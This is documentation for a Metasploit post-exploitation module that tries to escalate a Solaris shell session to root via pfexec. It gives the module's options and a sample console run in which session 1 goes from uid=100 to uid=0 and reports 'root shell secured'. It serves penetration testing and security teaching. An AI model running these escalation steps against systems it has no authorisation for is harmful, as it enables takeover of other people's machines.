documentation/modules/post/solaris/escalate/pfexec.md
This module attempts to upgrade a shell session to UID 0 using pfexec.
msfconsoleuse post/solaris/escalate/pfexecset SESSION <SESSION>runPath to pfexec (default: /usr/bin/pfexec)
Path to shell (default: /bin/sh)
msf > use post/solaris/escalate/pfexec
msf post(solaris/escalate/pfexec) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (172.16.191.221)
uid=100(user) gid=10(staff)
msf post(solaris/escalate/pfexec) > set verbose true
verbose => true
msf post(solaris/escalate/pfexec) > set session 1
session => 1
msf post(solaris/escalate/pfexec) > run
[*] Trying pfexec as `user' ...
[*] uid=0(root) gid=0(root)
[+] Success! Upgrading session ...
[+] Success! root shell secured
[*] Post module execution completed
msf post(solaris/escalate/pfexec) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (172.16.191.221)
uid=0(root) gid=0(root)
msf post(solaris/escalate/pfexec) >